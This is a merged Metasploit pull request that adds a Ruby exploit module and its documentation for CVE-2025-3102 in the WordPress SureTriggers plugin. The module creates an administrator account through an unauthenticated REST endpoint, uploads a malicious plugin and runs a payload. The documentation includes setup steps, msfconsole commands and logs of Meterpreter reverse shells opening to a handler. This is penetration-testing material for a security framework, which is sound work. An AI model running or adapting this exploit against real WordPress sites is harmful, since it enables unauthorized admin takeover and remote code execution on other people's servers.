Merge pull request #20146 from Chocapikk/wp_suretriggers_auth_bypass

Add WP SureTriggers ≤1.0.78 admin-creation & RCE module (CVE-2025-3102)
This commit is contained in:
Brendan
2025-05-13 10:53:44 -05:00
committed by GitHub
3 changed files with 419 additions and 6 deletions
+5 -6
View File
@@ -26,7 +26,6 @@ learnpress
loginizer
masterstudy-lms-learning-management-system
modern-events-calendar-lite
modern-events-calendar-lite
nextgen-gallery
ninja-forms
paid-memberships-pro
@@ -45,6 +44,7 @@ simple-file-list
slideshow-gallery
sp-client-document-manager
subscribe-to-comments
suretriggers
ultimate-member
website-contact-form-with-file-upload
woocommerce-abandoned-cart
@@ -53,18 +53,17 @@ wordpress-mobile-pack
wordpress-popular-posts
work-the-flow-file-upload
wp-automatic
wpdiscuz
wp-easycart
wp-fastest-cache
wp-file-manager
wp-gdpr-compliance
wp-mobile-detector
wp-mobile-edition
wp-symposium
wp-symposium
wp-time-capsule
wp-ultimate-csv-importer
wpdiscuz
wps-hide-login
wpshop
wp-symposium
wp-time-capsule
wptouch
wp-ultimate-csv-importer
wysija-newsletters
@@ -0,0 +1,193 @@
## Vulnerable Application
This Metasploit module exploits an administrative user creation vulnerability in the
WordPress SureTriggers plugin, versions <= 1.0.78 (CVE-2025-3102).
The plugin exposes an unauthenticated REST endpoint (`automation/action`) that allows
bypassing permission checks to create a new administrator account.
To replicate a vulnerable environment for testing:
1. Install WordPress using the provided Docker Compose configuration.
2. Download and install the SureTriggers plugin v1.0.78:
[https://downloads.wordpress.org/plugin/suretriggers.1.0.78.zip](https://downloads.wordpress.org/plugin/suretriggers.1.0.78.zip)
3. Verify that the plugin is activated and accessible on the local network.
4. No further configuration is required; vulnerability is present immediately upon activation.
## Docker Compose Configuration
```yaml
services:
wordpress:
image: wordpress:6.3.2
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
volumes:
- wordpress:/var/www/html
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_ROOT_PASSWORD: dummy_password
volumes:
- db:/var/lib/mysql
volumes:
wordpress:
db:
```
Create a `custom.ini` file with:
```ini
upload_max_filesize = 64M
post_max_size = 64M
```
## Verification Steps
1. Start the environment:
```bash
docker-compose up -d
```
2. Complete WordPress setup at [http://localhost:5555](http://localhost:5555)
3. Confirm that SureTriggers v1.0.78 is active under **Plugins**
4. Launch `msfconsole`
5. Load the module:
```bash
use exploit/multi/http/wp_suretriggers_auth_bypass
```
6. Set `RHOSTS` to the target IP
7. Optionally set `ST_AUTH` if you have an existing key
8. Configure `WP_USER`, `WP_PASS`, `WP_EMAIL`
9. Execute the exploit with `run`
## Options
* **RHOSTS**: Target IP address or hostname where WordPress is running.
* **TARGETURI**: Base path to the WordPress installation (default is `/`).
* **WP_USER**, **WP_PASS**, **WP_EMAIL**: Credentials for the new administrator account that the exploit will create.
By default these are randomly generated but you can set them to values of your choice, for example:
```bash
set WP_USER eviladmin
set WP_PASS Str0ngP@ss!
set WP_EMAIL eviladmin@example.com
```
* **ST_AUTH**: *(Optional)* If you have the plugins secret key (used in the `st_authorization` header),
you can provide it here to authenticate the REST request.
If left empty the module will send an empty header value, which still works on versions <= 1.0.78.
## Scenarios
### Successful Exploitation Against SureTriggers v1.0.78
**Setup:**
* Local WordPress instance with SureTriggers v1.0.78
* Metasploit Framework
**Steps:**
1. Start `msfconsole`
2. Load the module:
```bash
use exploit/multi/http/wp_suretriggers_auth_bypass
```
3. Configure:
```bash
set RHOSTS 127.0.0.1
set TARGETURI /
set WP_USER eviladmin
set WP_PASS Str0ngP@ss!
run
```
**Expected Results**:
With `php/meterpreter/reverse_tcp`:
```plaintext
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://127.0.0.1:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.3.2
[+] Detected suretriggers plugin version: 1.0.78
[+] The target appears to be vulnerable.
[*] Attempting to create administrator user via auth bypass...
[!] Primary endpoint failed or did not return success, trying fallback via rest_route...
[+] Administrator created: sol_bash:k9R0ZwjRX5VBOBJ
[*] Uploading malicious plugin for code execution...
[*] Executing payload at /wp-content/plugins/wp_p2ash/ajax_efdsa.php...
[*] Sending stage (40004 bytes) to 172.27.0.2
[+] Deleted ajax_efdsa.php
[+] Deleted wp_p2ash.php
[+] Deleted ../wp_p2ash
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.27.0.2:33924) at 2025-05-07 17:22:49 +0200
meterpreter > sysinfo
Computer : a6e792b1c252
OS : Linux a6e792b1c252 6.14.2-2-cachyos #1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 17:27:10 +0000 x86_64
Meterpreter : php/linux
```
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
```plaintext
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 PHP In-Memory
1 Unix In-Memory
2 Windows In-Memory
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set target 1
target => 1
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://127.0.0.1:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.3.2
[+] Detected suretriggers plugin version: 1.0.78
[+] The target appears to be vulnerable.
[*] Attempting to create administrator user via auth bypass...
[!] Primary endpoint failed or did not return success, trying fallback via rest_route...
[+] Administrator created: sol_bash:k9R0ZwjRX5VBOBJ
[*] Uploading malicious plugin for code execution...
[*] Executing payload at /wp-content/plugins/wp_ppqii/ajax_cqc8l.php...
[*] Sending stage (3045380 bytes) to 172.27.0.2
[+] Deleted ajax_cqc8l.php
[+] Deleted wp_ppqii.php
[+] Deleted ../wp_ppqii
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.27.0.2:54238) at 2025-05-07 17:24:10 +0200
meterpreter > sysinfo
Computer : 172.27.0.2
OS : Debian 11.8 (Linux 6.14.2-2-cachyos)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
@@ -0,0 +1,221 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Auxiliary::Report
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress SureTriggers Auth Bypass and RCE',
'Description' => %q{
This module exploits an authorization bypass in the WordPress SureTriggers plugin (<= 1.0.78).
It first creates a new administrator account via the unauthenticated REST endpoint,
then uploads and executes a PHP payload using FileDropper for remote code execution.
},
'Author' => [
'Michael Mazzolini (mikemyers)', # Vulnerability Discovery
'Khaled Alenazi (Nxploited)', # PoC
'Valentin Lobstein' # Metasploit module
],
'References' => [
['CVE', '2025-3102'],
['URL', 'https://github.com/Nxploited/CVE-2025-3102'],
['URL', 'https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => %w[unix linux win php],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix In-Memory',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-03-13',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('WP_USER', [true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8)]),
OptString.new('WP_PASS', [true, 'Password for the new administrator', Faker::Internet.password(min_length: 12)]),
OptString.new('WP_EMAIL', [true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8))]),
OptString.new('ST_AUTH', [false, 'Value for st_authorization header', ''])
]
)
end
def check
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?
wp_version = wordpress_version
print_status("Detected WordPress version: #{wp_version}") if wp_version
plugin = 'suretriggers'
readme = check_plugin_version_from_readme(plugin, '1.0.79', '0.0.1')
detected = readme&.details&.dig(:version)
if detected.nil?
return CheckCode::Unknown("Unable to determine the #{plugin} plugin version.")
end
detected_version = Rex::Version.new(detected)
if detected_version <= Rex::Version.new('1.0.78')
return CheckCode::Appears("Detected #{plugin} version #{detected_version}")
end
CheckCode::Safe("#{plugin} #{detected_version} >= 1.0.79 appears patched")
end
def exploit
print_status('Attempting to create administrator user via auth bypass...')
create_uri = normalize_uri(target_uri.path, 'wp-json', 'sure-triggers', 'v1', 'automation', 'action')
headers = { 'st_authorization' => datastore['ST_AUTH'] }
payload = user_payload.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => create_uri,
'ctype' => 'application/json',
'data' => payload,
'headers' => headers
)
unless res&.code == 200 && res.get_json_document&.dig('success')
print_warning('Primary endpoint failed, trying fallback via rest_route...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'rest_route' => '/sure-triggers/v1/automation/action' },
'ctype' => 'application/json',
'data' => payload,
'headers' => headers
)
end
unless res&.code == 200 && res.get_json_document&.dig('success')
fail_with(Failure::UnexpectedReply, 'User creation did not return success')
end
print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")
create_credential(
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: datastore['WP_USER'],
private_type: :password,
private_data: datastore['WP_PASS'],
service_name: 'WordPress',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
)
vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.")
loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n"
loot_path = store_loot(
'wordpress.admin.created',
'text/plain',
datastore['RHOST'],
loot_data,
'wp_admin_credentials.txt',
'WordPress Created Admin Credentials'
)
vprint_good("Loot saved to: #{loot_path}")
report_host(host: datastore['RHOST'])
report_service(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: fullname,
info: 'WordPress with vulnerable SureTriggers plugin allowing unauthenticated admin creation'
)
report_vuln(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: 'SureTriggers WordPress Plugin Auth Bypass',
refs: references,
info: 'Unauthenticated admin creation via vulnerable REST API endpoint'
)
cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
upload_and_execute_payload(cookie)
end
def user_payload
{
'integration' => 'WordPress',
'type_event' => 'create_user_if_not_exists',
'selected_options' => {
'user_name' => datastore['WP_USER'],
'password' => datastore['WP_PASS'],
'user_email' => datastore['WP_EMAIL'],
'role' => 'administrator'
},
'fields' => [],
'context' => {}
}
end
def upload_and_execute_payload(auth_cookie)
plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php"
zip = generate_plugin(plugin, payload_name.sub('.php', ''))
print_status('Uploading malicious plugin for code execution...')
ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie)
fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok
payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name)
print_status("Executing payload at #{payload_uri}...")
register_files_for_cleanup(payload_name, "#{plugin}.php")
register_dir_for_cleanup("../#{plugin}")
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end